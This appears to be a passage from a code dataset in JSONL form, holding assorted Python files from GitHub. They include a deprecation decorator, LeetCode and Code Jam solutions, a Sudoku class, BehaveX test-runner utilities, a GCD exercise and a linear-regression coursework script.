to\n use the deprecated callable, or can be an iterable of\n callables.\n message: Used in behaviours if a non whitelisted callable uses\n the deprecated callable.\n behaviour: Specifies what happens if a non whitelisted callable\n uses the deprecated callable.\n \"\"\"\n if callable(allowed_deprecations):\n allowed_deprecations = allowed_deprecations()\n\n # Get the default behavior if not specified\n if not behavior:\n behavior = default_behavior\n\n def _deprecated_decorator(func: Callable):\n @wraps(func)\n def wrapped_func(*args, **kwargs):\n # Get the stack of the caller\n stack = inspect.stack()\n caller_stack = stack[1]\n\n # Iterate over whitelisted callables and see if the caller\n # is one of them. If it's not, then call the specified\n # behavior to handle it. This works by comparing the bytecode\n # of the caller with callables whitelisted.\n for allowed_callable in allowed_deprecations:\n if caller_stack.frame.f_code == allowed_callable.__code__:\n return func(*args, **kwargs)\n\n return behavior().execute(message, func, *args, **kwargs)\n\n return wrapped_func\n\n return _deprecated_decorator\n","repo_name":"multi-vac/py_deprecate","sub_path":"py_deprecate/decorate.py","file_name":"decorate.py","file_ext":"py","file_size_in_byte":1835,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"61"} +{"seq_id":"74154068","text":"class Solution:\n def maxProduct(self, A):\n n = len(A)\n maxval, minval = 1, 1\n res = float('-inf')\n \n for i in range(n):\n if A[i] >= 0:\n maxval *= A[i]\n minval *= A[i]\n elif A[i] < 0:\n maxval, minval = minval * A[i], maxval * A[i]\n \n res = max(maxval, res)\n maxval = max(1, maxval)\n minval = min(1, minval)\n \n return res","repo_name":"Anirudh-Muthukumar/Leetcode-Solutions","sub_path":"152. Maximum Product Subarray/152. Maximum Product Subarray.py","file_name":"152. Maximum Product Subarray.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31065033505","text":"from dokusan import generators\nimport numpy as np\n\n\nclass Sudoku:\n \"\"\"Sudoku ruudukkoa kuvaava luokka. Luokalle voi antaa valmiit matriisit\n tai oletusarvoisesti luo uuden ruudukon \n dokusan kirjaston avulla.\n Attributes:\n grid: matriisi, joka kuvaa täytettävää Sudoku ruudukkoa (oletusarvona None)\n start: matriisi, joka kuvaa aloitustilassa ollutta ruudukkoa (oletusarvona None)\n \"\"\"\n\n def __init__(self, difficulty, grid=None, start=None):\n \"\"\"Luokan konstruktori, joka luo oletusavoisesti uuden Sudoku-ruudukon \n dokusan kirjaston avulla. \n\n Args:\n difficulty (int): vaikeustaso kokonaislukuna\n grid (list, optional): Matriisi, joka kuvaa täytettävää ruudukkoa. \n Oletusarvona None.\n start (list, optional): Matriisi, joka kuvaa aloitustilassa ollutta ruudukkoa. \n Oletusarvona None.\n \"\"\"\n self.grid = grid\n self.start = start\n if grid is None:\n self._initialize_grid(difficulty)\n\n def _initialize_grid(self, difficulty):\n \"\"\"Metodi, joka luo uuden sudoku ruudukon dokusan kirjaston avulla. \n generators moduuli palauttaa ruudukon merkkijonona,\n joka muutetaan numpy kirjaston avulla 9x9 ruudukoksi,\n eli siis 9 riviä sisältäväksi listaksi, jonka kullakin rivillä \n on 9 alkiota. Tämän jälkeen vielä muutetaan luokan attribuutti self.grid \n viittaamaan kyseiseen tietorakenteeseen \n tulkiten alkiot kokonaislukuina. Nyt voidaan käsitellä taulukkoa \n kuten python listaa. Lopuksi vielä tallennetaan\n luokan attribuuttiin self.start kopio ruudukosta. \n\n\n Args:\n difficulty (int): vaikeustasoa kuuvaava kokonaisluku\n \"\"\"\n grid = np.array(\n list(str(generators.random_sudoku(avg_rank=difficulty)))).reshape(9, 9)\n self.grid = np.asarray(grid, dtype=int)\n self.start = np.copy(self.grid)\n\n def insert_number(self, column, row, number):\n \"\"\"Numeron täyttämisestä vastaava metodi.\n\n Args:\n column (int): Ruudukon vaakatasolla oleva koordinaatti\n row (int): Ruudukon pystytasolla oleva koordinaatti\n number (int): Syötettävä luku\n\n Returns:\n Boolean: Jos täytettävä ruutu on jo valmiiksi aloituksessa täytetty ruutu,\n palautetaan False. Mikäli ei ollut, niin\n muutetaan ruutua kuvaava listan alkio syötettäväksi luvuksi \n ja palautetaan True.\n \"\"\"\n if self.start[row][column] != 0:\n return False\n self.grid[row][column] = number\n return True\n\n def check_if_complete(self):\n \"\"\"Tarkistaa, onko ruudukko oikein täytetty. Tarkistuksessa käytetään hyödyksi\n hajautustaulua ja käydään läpi samaan aikaan rivit ja sarakkeet.\n\n Returns:\n Boolean: Palauttaa False, jos ei ole oikein täytetty, muuten True.\n \"\"\"\n for row in range(9):\n seen_in_rows = set()\n seen_in_columns = set()\n for column in range(9):\n number = self.grid[row][column]\n if number == 0 or number in seen_in_rows:\n return False\n seen_in_rows.add(number)\n number = self.grid[column][row]\n if number in seen_in_columns:\n return False\n seen_in_columns.add(number)\n return True\n\n def get_current_number(self, column, row):\n \"\"\"Metodi, joka palauttaa ruudukon tietyn ruudun luvun listalta.\n\n Args:\n column (int): Ruudukon vaakarivin koordinaattia kuvaava luku.\n row (int): Ruudukon pystyrivin koordinaattia kuvaava luku.\n\n Returns:\n int: Palauttaa kyseisen kohdan luvun, joka on tallennettu matriisiin.\n \"\"\"\n return self.grid[row][column]\n","repo_name":"nikomakir/ot-harjoitustyo","sub_path":"src/entities/sudoku.py","file_name":"sudoku.py","file_ext":"py","file_size_in_byte":3943,"program_lang":"python","lang":"fi","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25019815266","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution:\n def mergeTwoLists(self, l1: ListNode, l2: ListNode) -> ListNode:\n dummy = ListNode(0) #create a dummy node to point to the head of the list.\n cur = dummy\n while l1 != None and l2 != None: #while we have not run to the end of either list.\n if l1.val < l2.val: #l1's node comes before l2's node\n cur.next = l1\n l1 = l1.next\n else: #l2's node comes before l1's node\n cur.next = l2\n l2 = l2.next\n cur = cur.next\n cur.next = l1 or l2 # the list that is not yet reached the end is appended to the end.\n\n return dummy.next # we return dummy.next because it is the first node in the combined list.","repo_name":"uclaacm/cs32-interview-prep20","sub_path":"Workshop2_Linked Lists/Problem3_Merge_Two_Sorted_Lists.py","file_name":"Problem3_Merge_Two_Sorted_Lists.py","file_ext":"py","file_size_in_byte":899,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"61"} +{"seq_id":"26325490159","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jun 16 11:25 2020\n\n@author: fdbfvuie\n\"\"\"\n\nn = int(input())\nfor i in range(n):\n a = [int(i) for i in input().split()]\n a.pop(0)\n print(\"{:.2f}\".format(round(sum(a)/len(a), 2)))","repo_name":"fjfhfjfjgishbrk/AE401-Python","sub_path":"zerojudge/d786.py","file_name":"d786.py","file_ext":"py","file_size_in_byte":250,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23421331311","text":"fl=open('B-large.in','r')\np=open('ol','w+')\nt=int(fl.readline())\nti=1\nwhile ti<=t:\n\txfc=fl.readline().split()\n\tc,f,x=(float(v) for v in xfc)\n\tn=0\n\twhile True:\n\t\tb=2*c+c*n*f+f*c-x*f\n\t\tif b>0:\n\t\t\tbreak\n\t\tn+=1\n\ts=0\n\tfor i in range(n):\n\t\ts+=1.0*c/(2+i*f)\n\ts+=1.0*x/(2+n*f)\n\ts= str(\"Case #\")+str(ti)+str(\": \")+str(\"%.7f\" % s)+str(\" \\n\")\n\tp.write(s)\n\n\tti+=1","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_136/1247.py","file_name":"1247.py","file_ext":"py","file_size_in_byte":351,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23629467371","text":"#!/usr/bin/python\n\ndef main():\n\tm = {}\n\ts1 = 'ejp mysljylc kd kxveddknmc re jsicpdrysirbcpc ypc rtcsra dkh wyfrepkym veddknkmkrkcdde kr kd eoya kw aej tysr re ujdr lkgc jv'\n\ts2 = 'our language is impossible to understandthere are twenty six factorial possibilitiesso it is okay if you want to just give up'\n\tfor i in xrange(len(s1)):\n\t\tm[s1[i]] = s2[i]\n\tm['\\n'] = '\\n'\n\tm[\"z\"] = \"q\"\n\tm[\"q\"] = \"z\"\n\t\n\tfile_in = open(\"A.in\", \"r\")\n\tfile_out = open(\"A.out\", \"w\")\n\n\tfor i in xrange(int(file_in.readline())):\n\t\tline = file_in.readline()\n\t\toutline = ''\n\t\tfor c in line:\n\t\t\toutline += m[c]\n\n\t\tfile_out.write(\"Case #%s: %s\" % (i + 1, outline))\n\n\tfile_in.close()\n\tfile_out.close()\n\nif __name__ == \"__main__\":\n\tmain()\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_95/1029.py","file_name":"1029.py","file_ext":"py","file_size_in_byte":707,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"42784126041","text":"# -*- coding: utf-8 -*-\n\"\"\"\n/*\n* BehaveX - Agile test wrapper on top of Behave (BDD)\n*/\n\"\"\"\n# __future__ added for compatibility\nfrom __future__ import absolute_import, print_function\n\nimport codecs\nimport functools\nimport json\nimport logging\nimport multiprocessing\nimport os\nimport re\nimport shutil\nimport sys\nfrom functools import reduce\nfrom tempfile import gettempdir\n\nfrom behave.model import ScenarioOutline\nfrom behave.parser import parse_feature, parse_file\nfrom configobj import ConfigObj\n\nfrom behavex.conf_mgr import get_env, get_param, set_env\nfrom behavex.execution_singleton import ExecutionSingleton\nfrom behavex.global_vars import global_vars\nfrom behavex.outputs import report_html\nfrom behavex.outputs.output_strings import TEXTS\nfrom behavex.outputs.report_utils import (\n get_save_function,\n match_for_execution,\n normalize_filename,\n get_string_hash,\n try_operate_descriptor,\n)\n\nLOGGING_CFG = ConfigObj(os.path.join(global_vars.execution_path, 'conf_logging.cfg'))\nLOGGING_LEVELS = {\n 'debug': logging.DEBUG,\n 'info': logging.INFO,\n 'warning': logging.WARNING,\n 'error': logging.ERROR,\n 'critical': logging.CRITICAL,\n}\n\n\ndef append_results(codes, json_reports, tuple_values):\n codes.append(tuple_values[0])\n json_reports.append(tuple_values[1])\n\n\ndef create_partial_function_append(codes, json_reports):\n append_output = functools.partial(append_results, codes, json_reports)\n return append_output\n\n\ndef get_logging_level():\n if get_param('logging_level'):\n log_level = get_param('logging_level')\n else:\n log_level = LOGGING_CFG['logger_root']['level']\n log_level = LOGGING_LEVELS.get(log_level.lower(), logging.DEBUG)\n return log_level\n\n\n# noinspection PyDictCreation\ndef join_feature_reports(json_reports):\n scenario_lines = get_env('scenario_lines')\n if type(json_reports) is list:\n if len(json_reports) == 1:\n merged_json = json_reports[0]\n else:\n merged_json = {}\n merged_json['environment'] = join_list_dict(json_reports, 'environment')\n merged_json['steps_definition'] = join_step_definitions(json_reports)\n merged_json['features'] = sum((json_['features'] for json_ in json_reports), [])\n else:\n merged_json = json_reports\n if merged_json['features'] and (IncludeNameMatch().bool() or IncludePathsMatch().bool() or MatchInclude().bool()):\n delete = []\n for index, feature in enumerate(merged_json['features'][:]):\n lines = scenario_lines.get(feature['filename'], {})\n scenarios = [\n scenario\n for scenario in feature['scenarios']\n if IncludeNameMatch()(scenario['name'])\n and MatchInclude()(feature['filename'])\n and IncludePathsMatch()(scenario['filename'], lines.get(scenario['name'], -1))\n ]\n if not scenarios:\n # create index list for delete after iterated the feature list.\n delete.append(index - len(delete))\n else:\n merged_json['features'][index]['scenarios'] = scenarios\n if delete:\n for index in delete:\n del merged_json['features'][index]\n return merged_json\n\n\ndef join_list_dict(json_reports, key):\n new_list_dict = sum(\n (json_[key] for json_ in json_reports if isinstance(json_[key], dict)), []\n )\n return new_list_dict\n\n\ndef join_step_definitions(json_reports):\n # the update function forced to return a list\n def update(x, y):\n if isinstance(x, dict) and isinstance(y, dict):\n return dict(list(x.items()) + list(y.items()))\n elif isinstance(x, dict) and not isinstance(y, dict):\n return dict(list(x.items()))\n elif isinstance(y, dict) and not isinstance(x, dict):\n return dict(list(y.items()))\n else:\n return {}\n\n list_definitions = [_json['steps_definition'] for _json in json_reports]\n\n return {} if not list_definitions else reduce(update, list_definitions)\n\n\n# the join_scenario_reports function forced to return a list\n\n\ndef join_scenario_reports(json_reports):\n result = {}\n status = {}\n for json_ in json_reports:\n if not json_['features']:\n continue\n filename = json_['features'][0]['filename']\n duration = 0\n if filename not in result:\n status[filename] = [json_['features'][0]['status']]\n result[filename] = json_\n result[filename]['features'][0]['scenarios'] = json_['features'][0][\n 'scenarios'\n ]\n else:\n duration = result[filename]['features'][0]['duration']\n result[filename]['features'][0]['scenarios'].extend(\n json_['features'][0]['scenarios']\n )\n status[filename].append(json_['features'][0]['status'])\n for scenario in json_['features'][0]['scenarios']:\n duration += round(scenario['duration'], 1)\n result[filename]['features'][0]['duration'] = duration\n\n for feature, status_ in status.items():\n skipped = all(st == 'skipped' for st in status_)\n failed = any(st == 'failed' for st in status_)\n result[feature]['features'][0]['status'] = (\n 'skipped' if skipped else 'failed' if failed else 'passed'\n )\n return list(result.values())\n\n\ndef explore_features(features_path, features_list=None):\n if features_list is None:\n features_list = []\n if global_vars.rerun_failures or \".feature:\" in features_path:\n features_path = features_path.split(\":\")[0]\n if os.path.isfile(features_path):\n if features_path.endswith('.feature'):\n path_feature = os.path.abspath(features_path)\n feature = should_feature_be_run(path_feature)\n if feature:\n features_list.extend(feature.scenarios)\n else:\n for node in os.listdir(features_path):\n if os.path.isdir(os.path.join(features_path, node)):\n explore_features(os.path.join(features_path, node), features_list)\n else:\n if node.endswith('.feature'):\n path_feature = os.path.abspath(os.path.join(features_path, node))\n feature = should_feature_be_run(path_feature)\n if feature:\n features_list.extend(feature.scenarios)\n return features_list\n\n\ndef should_feature_be_run(path_feature):\n feature = parse_file(path_feature)\n if not feature:\n return False\n else:\n tags_list = [\n scenario.tags\n for scenario in feature.scenarios\n if hasattr(feature, 'scenarios')\n ]\n tags_list.append(feature.tags)\n match_tag = any(match_for_execution(tags) for tags in tags_list)\n filename = feature.filename\n if match_tag and MatchInclude()(filename) and match_any_paths(feature) and match_any_name(feature):\n return feature\n else:\n return False\n\n\ndef match_any_paths(feature):\n result = False\n for scenario in feature.scenarios:\n if hasattr(scenario, 'scenarios'):\n for outline in scenario.scenarios:\n if IncludePathsMatch()(outline.filename, outline.line):\n return True\n else:\n if IncludePathsMatch()(feature.filename, scenario.line):\n return True\n return result\n\n\ndef match_any_name(feature):\n if not IncludeNameMatch().bool():\n return True\n result = False\n for scenario in feature.scenarios:\n if hasattr(scenario, 'scenarios'):\n for outline in scenario.scenarios:\n if IncludeNameMatch()(outline.name):\n return True\n else:\n if IncludeNameMatch()(scenario.name):\n return True\n return result\n\n\ndef copy_bootstrap_html_generator():\n destination_path = os.path.join(get_env('OUTPUT'), 'outputs', 'bootstrap')\n bootstrap_path = ['outputs', 'bootstrap']\n bootstrap_path = os.path.join(global_vars.execution_path, *bootstrap_path)\n if os.path.exists(destination_path):\n try_operate_descriptor(\n destination_path, lambda: shutil.rmtree(destination_path)\n )\n try_operate_descriptor(\n destination_path, lambda: shutil.copytree(bootstrap_path, destination_path)\n )\n\n\ndef cleanup_folders():\n # output folder\n output_folder = get_env('output')\n\n def execution():\n return shutil.rmtree(output_folder, ignore_errors=True)\n\n try_operate_descriptor(output_folder, execution)\n if not os.path.exists(output_folder):\n try_operate_descriptor(output_folder, lambda: os.makedirs(output_folder))\n # temp folder\n temp_folder = get_env('temp')\n\n def execution():\n return shutil.rmtree(temp_folder, ignore_errors=True)\n\n try_operate_descriptor(temp_folder, execution)\n if not os.path.exists(temp_folder):\n try_operate_descriptor(temp_folder, lambda: os.makedirs(temp_folder))\n\n # behave folder\n behave_folder = os.path.join(get_env('OUTPUT'), 'behave')\n\n def execution():\n return shutil.rmtree(behave_folder, ignore_errors=True)\n\n try_operate_descriptor(behave_folder, execution)\n if not os.path.exists(behave_folder):\n try_operate_descriptor(behave_folder, lambda: os.makedirs(behave_folder))\n\n\ndef set_env_variable(key, value):\n if value:\n os.environ[key] = str(value)\n set_env(key.lower(), value)\n\n\ndef print_env_variables(keys):\n key_length = 20\n value_length = 60\n print('|{}| {}|'.format(''.ljust(key_length, '-'), ''.ljust(value_length, '-')))\n print(\n '|{}| {}|'.format(\n 'ENV. VARIABLE'.ljust(key_length), 'VALUE'.ljust(value_length)\n )\n )\n print('|{}| {}|'.format(''.ljust(key_length, '-'), ''.ljust(value_length, '-')))\n for key in keys:\n print(\n '|{}| {}|'.format(\n key.upper().ljust(key_length),\n str(os.environ.get(key)).ljust(value_length),\n )\n )\n print('|{}| {}|'.format(''.ljust(key_length, '-'), ''.ljust(value_length, '-')))\n\n\ndef set_environ_config(args_parsed):\n global CONFIG\n global CONFIG_PATH\n CONFIG_PATH = None\n CONFIG = None\n\n if args_parsed.config:\n CONFIG_PATH = args_parsed.config\n if CONFIG_PATH is None:\n fwk_path = os.environ.get('BEHAVEX_PATH')\n CONFIG_PATH = os.path.join(fwk_path, 'conf_behavex.cfg')\n set_env_variable('CONFIG', CONFIG_PATH)\n\n\ndef print_parallel(msg, *args, **kwargs):\n logger = logging.getLogger('bhx_parallel')\n if len(logger.handlers) == 0:\n console_log = logging.StreamHandler(sys.stdout)\n console_log.setLevel(get_logging_level())\n logger.addHandler(console_log)\n if 'no_chain' in kwargs:\n logger.info(msg)\n else:\n logger.info(get_text(msg).format(*args))\n\n\ndef get_text(key_chain):\n dictionary = TEXTS\n keys = key_chain.split('.')\n result = None\n for i, key in enumerate(keys):\n msg = u'the key \"{}\" not found'.format(u'.'.join(keys[0 : i + 1]))\n result = dictionary.get(key, msg)\n if isinstance(result, str) or isinstance(result, str):\n return result\n if isinstance(result, dict):\n dictionary = result\n else:\n return u'key \"{}\" no found '.format(key_chain)\n if isinstance(result, dict):\n return u'key: \"{}\" is incomplete'.format(key_chain)\n\n\ndef configure_logging(args_parse):\n # Create log folder\n if not os.path.exists(get_env('logs')):\n os.makedirs(os.path.abspath(get_env('logs')))\n # get logging configuration\n\n logging_file = os.path.join(global_vars.execution_path, 'conf_logging.cfg')\n try:\n logging.config.fileConfig(logging_file)\n except Exception as logging_ex:\n print(logging_ex)\n if args_parse.parallel_processes > 1:\n logger = logging.getLogger() # this gets the root logger\n lh_stdout = logger.handlers[0] # stdout is the only handler initially\n # ... here I add my own handlers\n name = multiprocessing.current_process().name.split('-')[-1]\n path_stdout = os.path.join(gettempdir(), 'std{}2.txt'.format(name))\n if os.path.exists(path_stdout):\n try:\n os.remove(path_stdout)\n except Exception as remove_path_ex:\n print(remove_path_ex)\n\n file_stdout = open(path_stdout, 'w') # example handler\n log_handler = logging.StreamHandler(file_stdout)\n logger.addHandler(log_handler)\n logger.removeHandler(lh_stdout)\n logger = logging.getLogger('parallel_behavex')\n console_log = logging.StreamHandler(sys.stdout)\n console_log.setLevel(get_logging_level())\n logger.addHandler(console_log)\n\n\ndef len_scenarios(feature_file):\n data = codecs.open(feature_file, encoding='utf8').read()\n feature = parse_feature(data=data)\n amount_scenarios = 0\n for scenario in feature.scenarios:\n if match_for_execution(scenario.tags):\n if isinstance(scenario, ScenarioOutline):\n outline_instances = 1\n for example in scenario.examples:\n rows = len(example.table.rows)\n if rows > outline_instances:\n outline_instances = rows\n amount_scenarios += outline_instances\n else:\n amount_scenarios += 1\n return amount_scenarios\n\n\ndef set_behave_tags():\n behave_tags = os.path.join(get_env('OUTPUT'), 'behave', 'behave.tags')\n tags = []\n # Check for tags passed as arguments\n first_tag = True\n if get_env('tags'):\n for tag_param in get_env('tags').split(';'):\n tags_args = tag_param.split(',')\n if first_tag:\n first_tag = False\n tags.append('(')\n else:\n tags.append('and (')\n first_param_tag = True\n for tag in tags_args:\n if first_param_tag:\n first_param_tag = False\n tags.append(tag.strip())\n else:\n tags.append('or ' + tag.strip())\n tags.append(')')\n tags_line = ' '.join(tags)\n tags_line = tags_line.replace('~', 'not ')\n tags_line = tags_line.replace(',', ' or ')\n try_operate_descriptor(\n behave_tags, execution=get_save_function(behave_tags, tags_line)\n )\n\n\ndef set_system_paths():\n input_path = os.pathsep + get_env('temp')\n os.environ['PATH'] += input_path\n\n\ndef generate_reports(json_output):\n report_html.generate_report(json_output)\n\n\ndef create_custom_log_when_called(self, key):\n if key == 'evidence_path':\n if not hasattr(self, 'log_path'):\n if not hasattr(self, 'scenario'):\n ex_msg = '\"evidence_path\" is only accessible in the context of a test scenario'\n raise Exception(ex_msg)\n self.log_path = get_string_hash(\"{}-{}\".format(str(self.feature.name), str(self.scenario.name)))\n evidence_path = os.path.join(self.log_path, 'evidence')\n self.evidence_path = evidence_path\n try:\n os.makedirs(evidence_path, exist_ok=True)\n except OSError as error:\n print(\"It was not possible to create the folder to store additional scenario evidence...\")\n raise error\n return evidence_path\n else:\n return object.__getattribute__(self, key)\n\n\ndef get_json_results():\n path_json = os.path.join(\n get_env('OUTPUT'), global_vars.report_filenames['report_json']\n )\n with open(path_json, 'r') as json_file:\n json_results = json.load(json_file)\n return json_results or {}\n\n\nclass MatchInclude(metaclass=ExecutionSingleton):\n def __init__(self, expr=None):\n self.features_path = os.path.abspath(os.environ.get('FEATURES_PATH'))\n if not expr:\n expr = get_param('include').replace(\"'\", '\"')\n else:\n expr = expr.replace(self.features_path, 'features')\n expr = ('/'.join(expr.split('\\\\')))\n expr = '.*{}'.format(expr)\n self.reg = re.compile(expr)\n\n def __call__(self, *args, **kwargs):\n return self.match(*args)\n\n def bool(self):\n return self.reg.pattern\n\n def match(self, filename):\n filename = os.path.abspath(filename)\n filename = '/'.join(filename.split('\\\\'))\n return not self.reg.match(filename) is None\n\n\nclass IncludePathsMatch(metaclass=ExecutionSingleton):\n def __init__(self, paths=None):\n self.features_paths = os.getenv('FEATURES_PATH').split(\",\")\n self.features = [\n os.path.abspath(path)\n for path in self.features_paths\n if os.path.isfile(path) and ':' not in path\n ]\n self.scenarios = [\n \"{}:{}\".format(os.path.abspath(path.split(\":\")[0]), path.split(\":\")[1])\n for path in self.features_paths\n if not os.path.isdir(path) and ':' in path\n ]\n self.folders = [\n os.path.abspath(path)\n for path in self.features_paths\n if os.path.isdir(path) and ':' not in path\n ]\n\n def __call__(self, *args, **kwargs):\n return self.match(*args)\n\n def match(self, filename, scenario=None):\n filename = os.path.abspath(filename)\n match_scenario, match_feature = False, False\n if scenario:\n match_scenario = '{}:{}'.format(filename, scenario) in self.scenarios\n match_feature = filename in self.features\n return (\n match_scenario\n or match_feature\n or any(filename.startswith(folder) for folder in self.folders)\n )\n\n def bool(self):\n return self.features and self.folders\n\n\nclass IncludeNameMatch(metaclass=ExecutionSingleton):\n def __init__(self, expr=None):\n if not expr:\n expr = get_param('name').replace(\"'\", '\"')\n self.reg = re.compile(expr)\n\n def __call__(self, *args, **kwargs):\n return self.match(*args)\n\n def bool(self):\n return self.reg.pattern\n\n def match(self, scenario):\n return not self.reg.match(scenario) is None\n\n\ndef get_autoretry_attempts(tags):\n pattern = '^AUTORETRY(_(\\\\d+))*$'\n attempts = 0\n for tag in tags:\n result = re.search(pattern, tag, re.IGNORECASE)\n if result:\n attempts_in_tag = result.group(2)\n attempts = int(attempts_in_tag) if attempts_in_tag else 2\n return attempts\n","repo_name":"hrcorval/behavex","sub_path":"behavex/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":18614,"program_lang":"python","lang":"en","doc_type":"code","stars":61,"dataset":"github-code","pt":"61"} +{"seq_id":"21694547624","text":"#Python program to return N number of Common Factors\n# here i hyave used modified Gcd method and added a list to store common factors\ndef gcd(m,n,n):\n cf=[] # List to store common factors\n for i in range(1,min(m,n)+1):\n if m%i==0 and n%i==0:\n cf.append(i)\n return(cf[-n:]) #returns n number of common factors\n\na=int(input(\"enter m value\"))\nb=int(input(\"enter n value\"))\nc=int(input(\"enter no of common factors required\"))\n\nprint(\"GCD of {} and {} is {}\".format(a,b,gcd(a,b,n)))\n","repo_name":"yugasaisrinivasGottumukkala/Python-practice","sub_path":"Basics/n_gcd.py","file_name":"n_gcd.py","file_ext":"py","file_size_in_byte":489,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"73453054275","text":"'''\n@author: Imildo Sitoe <imildo.sitoe@iu-study.org>\n@description: this file contains the main calls to the classes and methods of other related files and is the file responsible for starting the entire program. \n'''\n\nfrom sqlalchemy.orm import sessionmaker\nimport database as db\nimport data_loading as dl\nimport numpy as np\nimport pandas as pd\nimport warnings\nimport unittest\nfrom sklearn.linear_model import LinearRegression\nimport matplotlib.pyplot as plt\n\n\n#Creating a session\nSession = sessionmaker(bind=db.engine)\nsession = Session()\n\n# Calling a function to ignore a future warning during scattering of the last chart\nwarnings.simplefilter(action='ignore', category=FutureWarning)\n\n# Creating the database and its tables\ndb.createAllTables()\n\n# Calling the statement to load Training and Ideal data into the database, but birst verify whether the csv data have been already loaded into the db\nif pd.DataFrame(session.query(db.Train.__table__).all()).shape[0] == 0:\n dl.DataLoading.loadChangesDB()\n\n# Querying Train data from sqlite database and converting to dataframe\ntrain_data = session.query(db.Train.__table__).all()\ndf_train = pd.DataFrame(train_data)\nx_train = df_train[['x']]\ny_train = df_train.drop(columns=['id', 'x'])\n\n# Querying Ideal data from sqlite database and converting to dataframe\nideal_data = session.query(db.Ideal.__table__).all()\ndf_ideal = pd.DataFrame(ideal_data)\nx_ideal = df_ideal[['x']]\ny_ideal = df_ideal.drop(columns=['id', 'x'])\n\n# Querying Test data from sqlite database and converting to dataframe\ntest_data = session.query(db.Test.__table__).all()\ndf_test = pd.DataFrame(test_data)\nx_test = df_test[['x']]\ny_test = df_test[['y']]\n\n# Ploting and visualizing the original data logically as described in the task\nplt.scatter(x_train, y_train[['y1']], color='red')\nplt.scatter(x_train, y_train[['y2']], color='green')\nplt.scatter(x_train, y_train[['y3']], color='magenta')\nplt.scatter(x_train, y_train[['y4']], color='blue')\nplt.xlabel('X value')\nplt.ylabel('Y value')\nplt.title('ORIGINAL DATA')\nplt.show()\n\n# Section responsible for training, predicting, and testing the model as well as creating its visualization.\n# Creating a linear regression model and training it\nlr = LinearRegression()\nlr.fit(x_train, y_train)\n\n# Executing the prediction of x and visualizing logically\ny_pred_train = lr.predict(x_train)\nplt.scatter(y_train, y_pred_train)\nplt.xlabel('Y training')\nplt.ylabel('Y prediction training')\nplt.title('PREDICTION DATA')\nplt.show()\n\n# Testing the model using the test dataset\ny_pred_test = lr.predict(x_test)\n\n# Deviation and Ideal functions section (Choosing the ideal function)\n# Calculating and returning the sum of squared y deviations for each ideal function for the provided training data\ndef sum_squared_dev(y_train, y_ideal):\n return np.sum((y_train - y_ideal) ** 2, axis=0)\n\n# Summing the squared deviations by calling the function sum_squared_dev\nideal_function_errors = sum_squared_dev(y_train, y_ideal)\n\n# Choosing the 4 ideal functions that minimize the sum of squared deviations\nchosen_ideal_indices = np.argsort(ideal_function_errors)[:4]\nchosen_ideal_functions = y_ideal.iloc[:, chosen_ideal_indices]\n\n# Deviation and Ideal functions section (mapping and calculating the deviation)\n# Deviation calculation for x-y pair and ideal function\ndef get_deviation(y_test, y_ideal):\n return np.sqrt(np.sum((y_test - y_ideal) ** 2))\n\n# Attribute x-y pairs from the test dataset to the chosen ideal functions\ndeviations = []\nassignments = []\n\nfor i in range(len(x_test)):\n y_val = y_test.iloc[[i]]\n assigned_function = None\n min_dev = float('inf')\n\n for j, ideal_function in enumerate(chosen_ideal_functions.T):\n if j == 4:\n break\n else:\n deviation = get_deviation(y_val, ideal_function).item()\n ife = pd.DataFrame(ideal_function_errors)\n df = pd.DataFrame(chosen_ideal_indices)\n cii = df[0].iloc[j]\n\n if deviation < min_dev and deviation >= np.sqrt(2) * np.max(ife[0].iloc[cii]):\n min_dev = deviation\n assigned_function = j\n \n if assigned_function is not None:\n assignments.append(assigned_function)\n deviations.append(min_dev)\n else:\n assignments.append(None)\n deviations.append(None)\n\n# Saving the deviations and the nr of ideal functions into the SQLite db\nif df_test['delta_y'].iloc[1] == 0 or df_test['delta_y'].iloc[1] == None:\n dl.DataLoading.loadDeviations(assignments, deviations)\n\n# Logically visualize the chosen ideal functions\n# Plot the chosen ideal functions\nfor i, ideal_function in enumerate(chosen_ideal_functions.T):\n plt.plot(x_ideal.iloc[i], ideal_function)\n\n# Plot the test data with assignments and deviations\nfor i, assignment in enumerate(assignments):\n if assignment is not None:\n color = ['b', 'g', 'r', 'm'][assignment]\n plt.scatter(float(x_test.iloc[i]), float(y_test.iloc[i]), marker='.', color=color)\n\nplt.xlabel('X')\nplt.ylabel('Y')\nplt.title('IDEAL FUNCTIONS AND DEVIATIONS VISUALIZATION')\nplt.show()\n\n# Class for unit tests for the program\nclass TestDevCalculation(unittest.TestCase):\n def test_dev_calculation(self):\n y_test = np.array([1.0, 2.0, 3.0])\n y_ideal = np.array([0.5, 2.5, 3.5])\n deviation = get_deviation(y_test, y_ideal)\n self.assertAlmostEqual(deviation, 0.5, delta=1e-6)","repo_name":"imildositoe/python_ml_linear_regression_task","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5412,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"23591831581","text":"from __future__ import with_statement\nimport sys\nimport re\n\nclass AlienLanguage:\n \n def __init__(self, lowercase):\n self.words = []\n self.lowercase = int(lowercase)\n \n def addWord(self, word):\n self.words.append(word)\n \n def possibilities(self, test):\n exp = toRegExp(test)\n p = 0\n for word in self.words:\n if re.match(exp, word) != None and\\\n len(word.translate(None, 